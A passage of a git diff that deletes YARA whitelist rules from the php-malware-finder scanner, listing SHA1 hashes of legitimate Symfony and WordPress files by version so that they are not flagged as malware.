"7041d041961aa55a90325852e181bdf78edfb6e4" or // src/Symfony/Component/Process/Tests/ProcessTest.php - hash.sha1(0, filesize) == "02de4ca28714c29df4fb425dd0e1afa412529a0c" or // src/Symfony/Component/Debug/DebugClassLoader.php - - /* Symfony 4.0.4 */ - hash.sha1(0, filesize) == "4caf5145213b4cb8f5922de87233a621859d2525" or // src/Symfony/Component/Process/Process.php - - /* Symfony 4.0.5 */ - hash.sha1(0, filesize) == "ba720c308bbea2f2dccc30217f0225cbc6f887a2" or // src/Symfony/Component/Process/Process.php - hash.sha1(0, filesize) == "3edaf086dbd7202caec6e15ce578dd846245c1c8" or // src/Symfony/Bundle/FrameworkBundle/Controller/RedirectController.php - hash.sha1(0, filesize) == "7009a4e3cd672535586eb18dcbdb203e77de8b21" or // src/Symfony/Component/Debug/DebugClassLoader.php - - /* Symfony 4.0.7 */ - hash.sha1(0, filesize) == "912d67551dc6bb768733d58d5224da11c78b1b4d" or // src/Symfony/Component/Process/Process.php - - /* Symfony 4.0.10 */ - hash.sha1(0, filesize) == "e4b1a36ca3eb6eebf8b67d46fb592cdf20687dd8" // src/Symfony/Component/Process/ExecutableFinder.php - -} diff --git a/php-malware-finder/whitelists/wordpress.yar b/php-malware-finder/whitelists/wordpress.yar deleted file mode 100644 index 78db3c9..0000000 --- a/php-malware-finder/whitelists/wordpress.yar +++ /dev/null @@ -1,1046 +0,0 @@ -import "hash" - -private rule Wordpress : CMS -{ - meta: - generated = "2018-05-29T21:58:54.242806" - - condition: - /* Wordpress 2.0 */ - hash.sha1(0, filesize) == "bbb86765c1fb77a073e4bb76b97223360a140438" or // wp-includes/links.php - hash.sha1(0, filesize) == "fbaa6d7843fb7fb1d761fb4e89fd727cd247fe5b" or // wp-admin/admin-functions.php - hash.sha1(0, filesize) == "dfa0f69cff59b3784ef3ff5aa494291a536af799" or // wp-admin/execute-pings.php - - /* Wordpress 2.0.1 */ - hash.sha1(0, filesize) == "c1e726699d59c7e2e401a8881e19080ffcf9d5db" or // wp-admin/admin-functions.php - - /* Wordpress 2.1 */ - hash.sha1(0, filesize) == "30bafe9b7676fce546e4fd336c736b4c9ff552b0" or // wp-includes/bookmark-template.php - hash.sha1(0, filesize) == "f455b31b339fe9bde065b83557c827a79f3c83da" or // wp-includes/js/tinymce/tiny_mce_gzip.php - hash.sha1(0, filesize) == "5861ba2b2450b0f0253638b4620296cc0f14e481" or // wp-admin/upgrade-functions.php - hash.sha1(0, filesize) == "17f2dee4758b8954a3ea530bef32d42c0f788cca" or // wp-admin/admin-functions.php - - /* Wordpress 2.1.1 */ - hash.sha1(0, filesize) == "3d0be10443bcf5da1bda9af01e3f0fa949bbe71b" or // wp-includes/bookmark-template.php - hash.sha1(0, filesize) == "4294be40fa4d4bdc3325a95bba19ce016b16c36a" or // wp-includes/js/tinymce/tiny_mce_gzip.php - hash.sha1(0, filesize) == "29960dd8a3266618660ca61eedbe621add7b57b2" or // wp-admin/admin-functions.php - - /* Wordpress 2.1.3 */ - hash.sha1(0, filesize) == "0aeea754cd309c6e83d46319321af3287f93aeee" or // wp-includes/bookmark-template.php - hash.sha1(0, filesize) == "f0b82ec7531440a35614f719608fd230343b2a96" or // wp-admin/admin-functions.php - - /* Wordpress 2.2 */ - hash.sha1(0, filesize) == "bf2b70e53ee67b2ae7810a26efd10015007ef35b" or // wp-includes/bookmark-template.php - hash.sha1(0, filesize) == "04f521363e4be1a84ced344b6246a115fdf43680" or // wp-admin/admin-functions.php - hash.sha1(0, filesize) == "13d44b4fe578ac92865b932116b642553e66138d" or // wp-admin/upgrade-functions.php - - /* Wordpress 2.2.1 */ - hash.sha1(0, filesize) == "a762bc60035fbd07a03395990e3a17225d40c18c" or // wp-includes/bookmark-template.php - hash.sha1(0, filesize) == "ba7c2dabdd8f354805e7954af1dae347af5b2b5b" or // wp-admin/admin-functions.php - - /* Wordpress 2.2.2 */ - hash.sha1(0, filesize) == "1f3ca35fc4f3392e0675d00e7faf2d14454581bd" or // wp-admin/admin-functions.php - - /* Wordpress 2.2.3 */ - hash.sha1(0, filesize) == "8b102045500a90e57816b7c4cec2e013389ffc15" or // wp-admin/admin-functions.php - - /* Wordpress 2.3 */ - hash.sha1(0, filesize) == "a56dd3402d9a6ac7d9c7458de78bb9fe690a4e61" or // wp-includes/bookmark-template.php - hash.sha1(0, filesize) == "c33ad18180e5f214882cfc5089244dd5c1dec904" or // wp-includes/post.php - hash.sha1(0, filesize) == "d7c2fc6360bbc5e005ad5a2a5bba3f9a6d0c3985" or // wp-admin/includes/file.php - hash.sha1(0, filesize) == "1fa290b5a1db0f3c06c4bb677d71e0dace5bc407" or // wp-admin/includes/upgrade.php - hash.sha1(0, filesize) == "7b93edca9041240d7dc8ef1c1a8c01f8c06f1192" or // wp-includes/deprecated.php - - /* Wordpress 2.3.1 */ - hash.sha1(0, filesize) == "cfcc7996f4e62dc3ea90a9ec51f8640a237850fe" or // wp-includes/post.php - hash.sha1(0, filesize) == "5e1660411a9b827f69a918af706f297530d32312" or // wp-admin/includes/upgrade.php - - /* Wordpress 2.3.2 */ - hash.sha1(0, filesize) == "efd2b4896682d3de2c480437f0f30fc4b831a760" or // wp-includes/post.php - hash.sha1(0, filesize) == "08f74717b55528b53d57ae36ce666fbd1dfd7f5c" or // wp-admin/includes/file.php - - /* Wordpress 3.0 */ - hash.sha1(0, filesize) == "2f17823196a19d5a1ceef3956e3d2eb040cbe94a" or // wp-includes/post.php - hash.sha1(0, filesize) == "732b23a64894405084d045c1a54c727c3dfff7f3" or // wp-includes/post-template.php - hash.sha1(0, filesize) == "0898f45c014c8498a75f7daf6b0cbdf441bb9117" or // wp-includes/js/tinymce/plugins/spellchecker/rpc.php - hash.sha1(0, filesize) == "d6ef8c8a1ea02f5c85e50f2eed0a8cbd5e5d0193" or // wp-admin/includes/file.php - hash.sha1(0, filesize) == "f73f1e853035a9d762e0a314576c356a96f2b976" or // wp-admin/gears-manifest.php - hash.sha1(0, filesize) == "5bc32390a960922991aa7ecd3c1a180ae29949a0" or // wp-includes/wp-db.php - hash.sha1(0, filesize) == "38e877cac581bd695352ff0137edfcad3e3d1bf8" or // wp-admin/edit.php - hash.sha1(0, filesize) == "da9d42e33e31a89b8e43713fdf6d481a90346b3b" or // wp-includes/bookmark-template.php - hash.sha1(0, filesize) == "6ccb3d84b02c0f61cdeb5cb6aa31074b5f84dc13" or // wp-admin/press-this.php - hash.sha1(0, filesize) == "3726a55657ae60127682814ce08bab8e681846eb" or // wp-admin/includes/template.php - hash.sha1(0, filesize) == "81b5123e57455d1c6c7528a0a41900ce1097557b" or // wp-includes/formatting.php - hash.sha1(0, filesize) == "079c1412cf049087ece1dbdce8e6eda255298dab" or // wp-admin/includes/upgrade.php - hash.sha1(0, filesize) == "f5cd852cef9b5ddce964576077a9453d5bed6e67" or // wp-includes/deprecated.php - - /* Wordpress 3.0.1 */ - hash.sha1(0, filesize) == "ef830c5ea01d5c987e33a0329586752eff3f8668" or // wp-includes/post.php - hash.sha1(0, filesize) == "b692ab19c4a4e165247fe5231ac8c9500a6ef332" or // wp-includes/wp-db.php - hash.sha1(0, filesize) == "5fc135be16eccaf2c57dc0da95afb2595ab38219" or // wp-admin/edit.php - hash.sha1(0, filesize) == "6fc8176d6e55cfb2d147045f0a3d51e1d18b3324" or // wp-admin/press-this.php - hash.sha1(0, filesize) == "00523ecfaea6728acf8039904689e72fb3db2ce5" or // wp-admin/includes/template.php - hash.sha1(0, filesize) == "c02bebd5fed0f29fd757f797ede847290c1b3faf" or // wp-includes/formatting.php - hash.sha1(0, filesize) == "cd9d212000368fdafec7d4de119243468bdb59a3" or // wp-admin/includes/upgrade.php - hash.sha1(0, filesize) == "db884c013d52a30d7f9bce0c5ab6b71e727bf3d1" or // wp-includes/deprecated.php - - /* Wordpress 3.0.2 */ - hash.sha1(0, filesize) == "1568c01754122010324c7e54b16d0ee729db7fb8" or // wp-admin/includes/file.php - - /* Wordpress 3.0.4 */ - hash.sha1(0, filesize) == "8c6fd610d0c1011738bc609037cdb20f612c6dd3" or // wp-includes/formatting.php - - /* Wordpress 3.0.5 */ - hash.sha1(0, filesize) == "4b4e2812781b43b230ee8518b41655651c46fae3" or // wp-admin/includes/template.php - - /* Wordpress 3.0.6 */ - hash.sha1(0, filesize) == "b20516753f8b08274f37d0af8ac292fde675ae71" or // wp-admin/press-this.php - - /* Wordpress 3.1 */ - hash.sha1(0, filesize) == "52b72bb5ed4f17ecc9b9eed29a2ea85bc25ccb80" or // wp-includes/post.php - hash.sha1(0, filesize) == "dce46c28a1e7f873d0690eeebf5599107b5cc9bd" or // wp-includes/post-template.php - hash.sha1(0, filesize) == "afafe4f64f7d03d7c6388376e8e4b95452df0e0f" or // wp-includes/js/tinymce/plugins/spellchecker/rpc.php - hash.sha1(0, filesize) == "98de0eaa9d98036bc80e72b1cc36df55a2285608" or // wp-admin/includes/upgrade.php - hash.sha1(0, filesize) == "4284eb6c751a85a92918ea860c81e918fed4d12b" or // wp-admin/includes/class-wp-plugins-list-table.php - hash.sha1(0, filesize) == "4de3ef74d659fe6a03c6b8eb573a409ec788a786" or // wp-admin/includes/template.php - hash.sha1(0, filesize) == "e9eca94390585b1464acf2fe403e8e622017b213" or // wp-admin/press-this.php - hash.sha1(0, filesize) == "1d18eb1761d198bcbcd4483df0d0d6962347fee3" or // wp-admin/includes/file.php - hash.sha1(0, filesize) == "46282e82abd01e487214fbe92c18bf91d903540f" or // wp-admin/includes/class-wp-ms-themes-list-table.php - hash.sha1(0, filesize) == "a22397b4d9c5f1c17b05a16a2bb5a62d18de98bc" or // wp-includes/formatting.php - hash.sha1(0, filesize) == "9416ed9d35945516e0a8a9765da446cfba784744" or // wp-includes/deprecated.php - - /* Wordpress 3.1.1 */ - hash.sha1(0, filesize) == "8a4e3484e8ec2e66688123f99628eed3801d735c" or // wp-includes/post.php - hash.sha1(0, filesize) == "43f3fb72755eb50a1ce668cfab901596e80d30d4" or // wp-includes/formatting.php - - /* Wordpress 3.1.2 */ - hash.sha1(0, filesize) == "1245a779337ad2848deb784b72c0d5b757897452" or // wp-includes/post-template.php - hash.sha1(0, filesize) == "113e23c7e90755b6eb6a7dfd59ee8dc38ab567ac" or // wp-admin/press-this.php - - /* Wordpress 3.1.3 */ - hash.sha1(0, filesize) == "1bb1e85fff06511daf3fd83199caecdabab6e399" or // wp-includes/post.php - hash.sha1(0, filesize) == "a74eb72e85391e8b1cc73ab31bbd0e354ac46ddc" or // wp-admin/includes/class-wp-plugins-list-table.php - hash.sha1(0, filesize) == "2fac6d0984fcfdd13e65cb6131a1cf4b3833aa28" or // wp-admin/includes/template.php - hash.sha1(0, filesize) == "c1009c13e48211fc4100c3a947a8d4bfc5e416bc" or // wp-admin/press-this.php - hash.sha1(0, filesize) == "8146cc5e953af859b2ffb7f62b88829acdb83db9" or // wp-includes/formatting.php - - /* Wordpress 3.1.4 */ - hash.sha1(0, filesize) == "dfbfa7de5b02c336ec104009d6beb239ca51d37d" or // wp-includes/post.php - hash.sha1(0, filesize) == "34575033fdc4a88485affd3a22ae16431d14cf2c" or // wp-includes/formatting.php - - /* Wordpress 3.2 */ - hash.sha1(0, filesize) == "ce4bb6419545ddd1ce707d30698872ca57f84289" or // wp-includes/post.php - hash.sha1(0, filesize) == "9e618bf8db66289bbe562e82cb58d5938a5db0ef" or // wp-includes/post-template.php - hash.sha1(0, filesize) == "0d57e786b77492eb32520d94c8dabc4d4ac305a8" or // wp-admin/includes/class-wp-plugins-list-table.php - hash.sha1(0, filesize) == "f2ee76708f1ff6ccf1359535c9ad2dbce6898ae1" or // wp-admin/includes/template.php - hash.sha1(0, filesize) == "d83c053168882c6b15b7f74a804d45b7575749ad" or // wp-admin/press-this.php - hash.sha1(0, filesize) == "1f7ff93c3fab868107914769b605d0def295a6c3" or // wp-admin/includes/file.php - hash.sha1(0, filesize) == "edfb987356794111f780504c2229cc3b01afbdf8" or // wp-admin/includes/class-wp-ms-themes-list-table.php - hash.sha1(0, filesize) == "b4f53b8c360f9e47cc63047305a0ce2e3ff6a251" or // wp-includes/functions.php - hash.sha1(0, filesize) == "7622efd361b7e6550387413a289c5f5475d0ccca" or // wp-includes/formatting.php - hash.sha1(0, filesize) == "232e4705e3aa28269c4d5e4a4a700bb7a2d06f24" or // wp-admin/includes/menu.php - hash.sha1(0, filesize) == "ac8298df16a560c80fb213ef3f51f90df8ef5292" or // wp-includes/class-phpmailer.php - hash.sha1(0, filesize) == "1c9072768299b183d4857f1885ca82de4bebfb06" or // wp-includes/deprecated.php - - /* Wordpress 3.2.1 */ - hash.sha1(0, filesize) == "c2b547fc0d12ede138e8cffd5b1aa27acbfa29e4" or // wp-includes/post-template.php - - /* Wordpress 3.3 */ - hash.sha1(0, filesize) == "129ef278a99a98ce31f1235cf69bc2cdee267d14" or // wp-includes/post.php - hash.sha1(0, filesize) == "413aad57841069fc0b0740d1c7c7c2d4d7d988be" or // wp-includes/post-template.php - hash.sha1(0, filesize) == "108330d48a7c61427ccd6a811d06e32068794193" or // wp-admin/includes/upgrade.php - hash.sha1(0, filesize) == "cc196ca59fcaa32da38d3232121720c2b66670ef" or // wp-admin/includes/class-wp-plugins-list-table.php - hash.sha1(0, filesize) == "dd6c03117c5be60136154ca6c9f253a2b34111eb" or // wp-admin/includes/template.php - hash.sha1(0, filesize) == "5a598c1ad6c0fa1be0220a74f61165fc5cb3ffe8" or // wp-admin/press-this.php - hash.sha1(0, filesize) == "8f2a8da640cca1f6530e856bb0936a522689cafb" or // wp-admin/includes/file.php - hash.sha1(0, filesize) == "55afddd06127cacb9921fe97010d6de32fc466f5" or // wp-includes/formatting.php - hash.sha1(0, filesize) == "5de87a28128621172c2472771473f66ceb92f9c1" or // wp-includes/class-wp-editor.php - hash.sha1(0, filesize) == "7d32f26d2eaf41cfb3db7aca06564501741f01ef" or // wp-includes/deprecated.php - - /* Wordpress 3.3.1 */ - hash.sha1(0, filesize) == "91761dab0e381623c11d466eb8bbe6473089c262" or // wp-admin/includes/template.php - hash.sha1(0, filesize) == "bb611f70db077823eac67668ce0eabb287dcfc32" or // wp-admin/press-this.php - - /* Wordpress 3.3.2 */ - hash.sha1(0, filesize) == "dde98051187dd8980d1c71b238f8f49ac3c01e75" or // wp-admin/press-this.php - hash.sha1(0, filesize) == "4ba4cd920935b9c97934292e8278122c0d1ac54b" or // wp-includes/formatting.php - - /* Wordpress 3.4 */ - hash.sha1(0, filesize) == "ce118a1e4e0e13ec970455c5991a6e3c5587b50c" or // wp-includes/post.php - hash.sha1(0, filesize) == "fd3b2cc886f96f2ab1b59475463ec8c2794f4a2b" or // wp-includes/post-template.php - hash.sha1(0, filesize) == "7c236e3cb3578caa348b5bad2b69b55c0a8a28ca" or // wp-admin/includes/media.php - hash.sha1(0, filesize) == "cc5d596aeed57bdb3fb4cd3e36d51934a7e5b036" or // wp-admin/includes/upgrade.php - hash.sha1(0, filesize) == "608fa4bc1a549c23d9b5a84d5b7b5c78f0b657e0" or // wp-admin/includes/class-wp-plugins-list-table.php - hash.sha1(0, filesize) == "0909c3bdf43e04ac56a25ef905dd0b4f53b9ffe9" or // wp-admin/includes/file.php - hash.sha1(0, filesize) == "8e774a3fc20846ec483e697df70dd880d7bc6501" or // wp-includes/bookmark-template.php - hash.sha1(0, filesize) == "19716dcd7c07c7f3cf5bd83188722ce353a698e5" or // wp-admin/press-this.php - hash.sha1(0, filesize) == "05d4712b1ca6512eabd5d1f0829002872fe715e4" or // wp-admin/includes/template.php - hash.sha1(0, filesize) == "59458078cdf7f72d2973bc9847c2e6abc4fe51c0" or // wp-admin/includes/class-wp-ms-themes-list-table.php - hash.sha1(0, filesize) == "4db56ae7ff0df0dce135dc048eb61e6eb7f5cdda" or // wp-includes/formatting.php - hash.sha1(0, filesize) == "b4e4b88f2be38ed9c3147b77c2f3a7f929caba2c" or // wp-admin/includes/menu.php - hash.sha1(0, filesize) == "75e2ec0402e1d4b9e831baa6b9d6f680799f3fad" or // wp-includes/class-wp-editor.php - hash.sha1(0, filesize) == "3d6a6cda6cfc2442e9e9b2822f3f610fb9a6da9d" or // wp-includes/deprecated.php - - /* Wordpress 3.4.1 */ - hash.sha1(0, filesize) == "68bdb7929d80b646d48597098d5635baab715f1f" or // wp-includes/post-template.php - hash.sha1(0, filesize) == "b081cb618291aed33c5cdf7a1d0a96092254acc0" or // wp-includes/class-wp-editor.php - hash.sha1(0, filesize) == "833281b4d1113180e4d1ca026f5e85a680d52662" or // wp-includes/class-phpmailer.php - - /* Wordpress 3.4.2 */ - hash.sha1(0, filesize) == "033d2a4d4b567bc0675270945c508706d53ad599" or // wp-admin/includes/class-wp-plugins-list-table.php - hash.sha1(0, filesize) == "26c688bdc903314554443253e9c1131f3e96f5f1" or // wp-admin/includes/class-wp-ms-themes-list-table.php - hash.sha1(0, filesize) == "3351b803ce18ae6044aad29d0a13f83603089822" or // wp-includes/formatting.php - hash.sha1(0, filesize) == "aa35944e09e5f0224ebc8e7092749986c3ddce68" or // wp-includes/class-wp-editor.php - - /* Wordpress 3.5 */ - hash.sha1(0, filesize) == "1b78bfbab457c9d4c323d125a71ffc8a0fbf9567" or // wp-includes/post.php - hash.sha1(0, filesize) == "59c3672039f391e0eae6404d65be0c2807413822" or // wp-includes/post-template.php - hash.sha1(0, filesize) == "28e0b9240c060cd9931cd13ab9cf4a3ff072b21b" or // wp-admin/custom-header.php - hash.sha1(0, filesize) == "e778fd21f4c37cbde6ef51dd698ccf5a86869014" or // wp-admin/includes/media.php - hash.sha1(0, filesize) == "41053178dc4f65a6cdaaed828936ecf58b08f64e" or // wp-admin/includes/upgrade.php - hash.sha1(0, filesize) == "6061b47bcabfee2dd173a8d7226d5f1de83a3b50" or // wp-admin/includes/class-wp-plugins-list-table.php - hash.sha1(0, filesize) == "79764a44e76d4592b80f81d36ff4afac8c8ef15a" or // wp-admin/includes/file.php - hash.sha1(0, filesize) == "32eb59b7604a3c7302d9e99194c94be8f59543db" or // wp-includes/bookmark-template.php - hash.sha1(0, filesize) == "13b7f0b3c81cc7f4e81fb7ed3df7a57ba33fc9e2" or // wp-admin/press-this.php - hash.sha1(0, filesize) == "b6eea88c56a8db31a182353dc4c87e91fca1fa58" or // wp-admin/includes/template.php - hash.sha1(0, filesize) == "38c2d4b07a569816ec202277a5ef6b7724857f43" or // wp-admin/includes/class-wp-ms-themes-list-table.php - hash.sha1(0, filesize) == "676dcf811757529323b6cec162b53ea827f82581" or // wp-includes/formatting.php - hash.sha1(0, filesize) == "412986ba7634bd47b49b217c3f3994c321bb04cc" or // wp-includes/js/tinymce/tiny_mce.js - hash.sha1(0, filesize) == "cdc24ca5c7bfcd559282559d2fb7edf97d0bb07b" or // wp-includes/class-wp-editor.php - hash.sha1(0, filesize) == "d667f8cbda4ae5ff27ebdfbf80460b365f95ad46" or // wp-includes/SimplePie/Parse/Date.php - hash.sha1(0, filesize) == "61ce791f8e638f784ea78de8aac14542fecde62c" or // wp-includes/deprecated.php - - /* Wordpress 3.5.1 */ - hash.sha1(0, filesize) == "b9772cdb5248c28b63c6fe54061eae3c905ef5d4" or // wp-includes/post.php - hash.sha1(0, filesize) == "fad8e68cef70e8c88acfbee311fba3e19af686ac" or // wp-admin/includes/media.php - hash.sha1(0, filesize) == "dae4d60844af60c4af91022eff915acb40a35eda" or // wp-includes/js/tinymce/tiny_mce.js - - /* Wordpress 3.5.2 */ - hash.sha1(0, filesize) == "58c4fec199374f11a4d25f286310d26f32b34698" or // wp-includes/post.php - hash.sha1(0, filesize) == "ed42423b4ea804a266b55ee8a43c784b94484db8" or // wp-includes/post-template.php - hash.sha1(0, filesize) == "d2d79f3132131e04da1e65fb745ef8fe17913ec9" or // wp-admin/includes/media.php - hash.sha1(0, filesize) == "63150bc5aba51631a7d1173fe6eb1457e746f67e" or // wp-admin/includes/upgrade.php - hash.sha1(0, filesize) == "91f418e5bf982e704bdf636e24bbb3544157e360" or // wp-admin/includes/file.php - hash.sha1(0, filesize) == "82f82acd2596d052599289d31fffe9b4a7044a58" or // wp-includes/formatting.php - hash.sha1(0, filesize) == "b142d05e08e17cdae63ff3f7d2ba4f52a5220fe4" or // wp-includes/js/tinymce/tiny_mce.js - hash.sha1(0, filesize) == "0712dbf8d70766e46cec993ccab1516afff9880e" or // wp-includes/deprecated.php - - /* Wordpress 3.6 */ - hash.sha1(0, filesize) == "1c3de7e965a68621ebe391f8c6bdf4a8f0180864" or // wp-includes/post.php - hash.sha1(0, filesize) == "e6ed991a6a9ca86907ff64fffe3d703ba6cd2c7f" or // wp-includes/post-template.php - hash.sha1(0, filesize) == "3b0f92aceabde1d563890109a9e4010083602910" or // wp-admin/custom-header.php - hash.sha1(0, filesize) == "225332f9e5b729fa5559d400d7bb519a742cf754" or // wp-admin/includes/media.php - hash.sha1(0, filesize) == "789ebc024dcf585583eeb380d048313dbe638fd1" or // wp-admin/includes/upgrade.php - hash.sha1(0, filesize) == "cb6172495e8c3f5188d2a92a7604c2c29590e740" or // wp-admin/includes/class-wp-plugins-list-table.php - hash.sha1(0, filesize) == "bee3dce3c314e3e7bff07a212a1526d705a082b4" or // wp-admin/press-this.php - hash.sha1(0, filesize) == "41be5d2219e9b68d82e5bb389514e7a3d317908e" or // wp-admin/includes/file.php - hash.sha1(0, filesize) == "94867d244014a346f7adb305fc6ae266869f5a31" or // wp-admin/includes/class-wp-ms-themes-list-table.php - hash.sha1(0, filesize) == "4856f6c16233bd80ab3ef38150a869853b0824f6" or // wp-includes/formatting.php - hash.sha1(0, filesize) == "f4f02289d2c5d79cdc1e43f7a85a1bb18c1a57ed" or // wp-includes/class-wp-editor.php - hash.sha1(0, filesize) == "546d97581cead4a9174e870fda57509bee7c64a6" or // wp-includes/deprecated.php - - /* Wordpress 3.6.1 */ - hash.sha1(0, filesize) == "ea9c9f658f90dc5ce7949b7fe84c5227ebdcdb5e" or // wp-includes/post-template.php - - /* Wordpress 3.7 */ - hash.sha1(0, filesize) == "25eb4aafa1055bb4073c59c94d8fa613af46bb8d" or // wp-includes/post.php - hash.sha1(0, filesize) == "b379ed312821de983940d95277ecc8d6c0612cc1" or // wp-includes/post-template.php - hash.sha1(0, filesize) == "8e280fe121b4d80b26f03ab102126be16e8f1713" or // wp-admin/custom-header.php - hash.sha1(0, filesize) == "1a279555b3b42acf396c64685fa3609550c50a54" or // wp-admin/includes/media.php - hash.sha1(0, filesize) == "5b03f5c0af13e2af46895d9bd44a0051933fc13c" or // wp-admin/includes/upgrade.php - hash.sha1(0, filesize) == "e82e992ec0458021e3cac6d29d63ee402a0b6f0f" or // wp-admin/includes/class-wp-plugins-list-table.php - hash.sha1(0, filesize) == "b1933980774e43f9ae0da0ef4864c0eb0075021d" or // wp-includes/bookmark-template.php - hash.sha1(0, filesize) == "090c6a51677e08011819fdfedd66f3d2324c655a" or // wp-admin/press-this.php - hash.sha1(0, filesize) == "410511b419a166099c80c45987f6c58ca6d596dc" or // wp-admin/includes/file.php - hash.sha1(0, filesize) == "ebfa83b889d5c78595fbe6b4b7fe979c24c7ebdc" or // wp-admin/includes/class-wp-ms-themes-list-table.php - hash.sha1(0, filesize) == "7bdc00fe5f1b5de5e3709434bf3068fe0f922808" or // wp-includes/formatting.php - hash.sha1(0, filesize) == "729cfb5974a799dcf03352385016115d53a6c3fb" or // wp-includes/js/tinymce/tiny_mce.js - hash.sha1(0, filesize) == "2a6efef04595109e9d38ffa63fa239b6a7f48a20" or // wp-includes/js/tinymce/wp-tinymce.js.gz - hash.sha1(0, filesize) == "b68beee5d6af56d3869410ac6987a07346b3b37e" or // wp-includes/class-wp-editor.php - hash.sha1(0, filesize) == "83a5d5b6ee067f0d3ea61a53a00d429300660f2b" or // wp-includes/deprecated.php - - /* Wordpress 3.7.1 */ - hash.sha1(0, filesize) == "cf8020daa2651b9eb70d6f82a76dbe95779acfa3" or // wp-includes/post.php - hash.sha1(0, filesize) == "aac10c3ce50d3796942005ea7e2d2c266fdf39af" or // wp-includes/js/tinymce/wp-tinymce.js.gz - - /* Wordpress 3.7.2 */ - hash.sha1(0, filesize) == "f7e8fe7a94e29dddf97c75593549a67af5f3d0b1" or // wp-admin/includes/upgrade.php - - /* Wordpress 3.7.3 */ - hash.sha1(0, filesize) == "40874153683b4ddee5b035e0ae8f00969daa17b6" or // wp-admin/includes/upgrade.php - - /* Wordpress 3.7.4 */ - hash.sha1(0, filesize) == "48a3dab94dc548169700bb411148c6fbf30274c3" or // wp-includes/ID3/getid3.lib.php - - /* Wordpress 3.7.5 */ - hash.sha1(0, filesize) == "cfd871860c963b0fc5ab2d8c57bbe5fffd7dcb18" or // wp-admin/press-this.php - hash.sha1(0, filesize) == "216423bf8c4d941eb3b5f40b24238fdc10516617" or // wp-includes/formatting.php - - /* Wordpress 3.7.6 */ - hash.sha1(0, filesize) == "3b81d2dafa7c2f263dcfe18c8ec40adc0c2036a9" or // wp-includes/formatting.php - hash.sha1(0, filesize) == "a4be73c4196559b3a452f083a7c58a17092f0f2c" or // wp-includes/class-wp-editor.php - - /* Wordpress 3.7.8 */ - hash.sha1(0, filesize) == "cba09f833be2259aecac397e1725b2ee1aa8d63c" or // wp-admin/includes/upgrade.php - - /* Wordpress 3.7.9 */ - hash.sha1(0, filesize) == "b8df313b398f8d2a8ae8ca2c1ea87bb0ec3fa630" or // wp-includes/formatting.php - - /* Wordpress 3.7.10 */ - hash.sha1(0, filesize) == "3cdbe2d5884aa7c7ccfd9a63362bd8b551972eba" or // wp-includes/post.php - hash.sha1(0, filesize) == "469a0400b94c2bbc6a01282cb0a58b5ef7766605" or // wp-includes/formatting.php - - /* Wordpress 3.7.14 */ - hash.sha1(0, filesize) == "50c414aeda8efa51d156742ae87a2ae4e46e9aae" or // wp-admin/includes/media.php - - /* Wordpress 3.7.15 */ - hash.sha1(0, filesize) == "2e8b912d7d8f6776263f6d440139ebf72cb835b1" or // wp-includes/post-template.php - hash.sha1(0, filesize) == "7dd2fcce4f1473ef8d845440560dd61a80fe0736" or // wp-includes/formatting.php - - /* Wordpress 3.7.16 */ - hash.sha1(0, filesize) == "de1ce381b78522854c40d0ed5d6e01ddcaf6583e" or // wp-admin/includes/media.php - - /* Wordpress 3.7.17 */ - hash.sha1(0, filesize) == "fb860c6ac67d10057c6d0fb278790fbb0b3a037e" or // wp-admin/includes/media.php - hash.sha1(0, filesize) == "0dd1660527a337e98e4bfa236d236b5c5154ead2" or // wp-includes/class-phpmailer.php - - /* Wordpress 3.7.18 */ - hash.sha1(0, filesize) == "e254fc20dd675a2b96100a5f136999e9381454b5" or // wp-admin/press-this.php - - /* Wordpress 3.7.19 */ - hash.sha1(0, filesize) == "bbfe6f422aa0da18e8c59824b9009bdff2ea6956" or // wp-admin/includes/media.php - - /* Wordpress 3.7.20 */ - hash.sha1(0, filesize) == "6c2e10b76811e395bb04b2fca43788859e91e315" or // wp-admin/includes/media.php - - /* Wordpress 3.7.21 */ - hash.sha1(0, filesize) == "e161b8ff19233616fcbb677c54e67173c9b09ac3" or // wp-admin/includes/file.php - - /* Wordpress 3.7.22 */ - hash.sha1(0, filesize) == "e291505c0ea7b45d4d70aa19de8195750cff3825" or // wp-admin/includes/class-wp-plugins-list-table.php - hash.sha1(0, filesize) == "6b45b6dae7bac47c15a8538ee10582b353fa248f" or // wp-admin/includes/template.php - hash.sha1(0, filesize) == "7fa4d3a0d849e5557de04b94d91f91b5cad5ddfa" or // wp-admin/includes/file.php - - /* Wordpress 3.7.23 */ - hash.sha1(0, filesize) == "b059fcf32621657b4e50cffceb8646a37d69b2be" or // wp-includes/post.php - - /* Wordpress 3.8 */ - hash.sha1(0, filesize) == "19e345ce751ddcd3b036252b413ad5cd6d0f127c" or // wp-includes/post.php - hash.sha1(0, filesize) == "aa07c8cec8a7214c1e1b14eadef6d11f656e858d" or // wp-admin/custom-header.php - hash.sha1(0, filesize) == "234cc52d42912c81b494f698499241a784911b2c" or // wp-admin/includes/upgrade.php - hash.sha1(0, filesize) == "ef00b087c2944e24ea589f19f6ec17183ccd7447" or // wp-admin/press-this.php - hash.sha1(0, filesize) == "a7a1f9c36bfb60e34620639cca09b1c9198c0cc2" or // wp-admin/includes/class-wp-ms-themes-list-table.php - hash.sha1(0, filesize) == "079335e8296897d75a97967c248b05171d67f7a1" or // wp-includes/formatting.php - hash.sha1(0, filesize) == "188a34ebe732ee2aa8027af319509b5f352afde3" or // wp-includes/js/tinymce/wp-tinymce.js.gz - hash.sha1(0, filesize) == "9e4fbae9453aa25551c886a0a127b0f072f7da9f" or // wp-includes/class-wp-editor.php - - /* Wordpress 3.8.2 */ - hash.sha1(0, filesize) == "640d250a9d5e4f2f38afb1b6d07297965ce7c557" or // wp-includes/post-template.php - - /* Wordpress 3.8.3 */ - hash.sha1(0, filesize) == "517daad9762c862a2b8112b0ded22892885c2244" or // wp-admin/includes/upgrade.php - - /* Wordpress 3.8.5 */ - hash.sha1(0, filesize) == "02deec16585c82504767b7335f3a00e5b238dd37" or // wp-admin/press-this.php - hash.sha1(0, filesize) == "f39d1dc39f80d5dc44f6c8db061af352f00e836f" or // wp-includes/formatting.php - - /* Wordpress 3.8.6 */ - hash.sha1(0, filesize) == "82b96060eaf3669d8fdb6633679009657fc30b0f" or // wp-includes/formatting.php - hash.sha1(0, filesize) == "38df98c4279883552cca8d75c582e48fd402a159" or // wp-includes/class-wp-editor.php - - /* Wordpress 3.8.8 */ - hash.sha1(0, filesize) == "5a8f18a9baffe6e13f3b51b3a7ffdbdc29877b9a" or // wp-admin/includes/upgrade.php - - /* Wordpress 3.8.9 */ - hash.sha1(0, filesize) == "5e72416a4b7543296e324a0130cb89c936df80fc" or // wp-includes/formatting.php - - /* Wordpress 3.8.10 */ - hash.sha1(0, 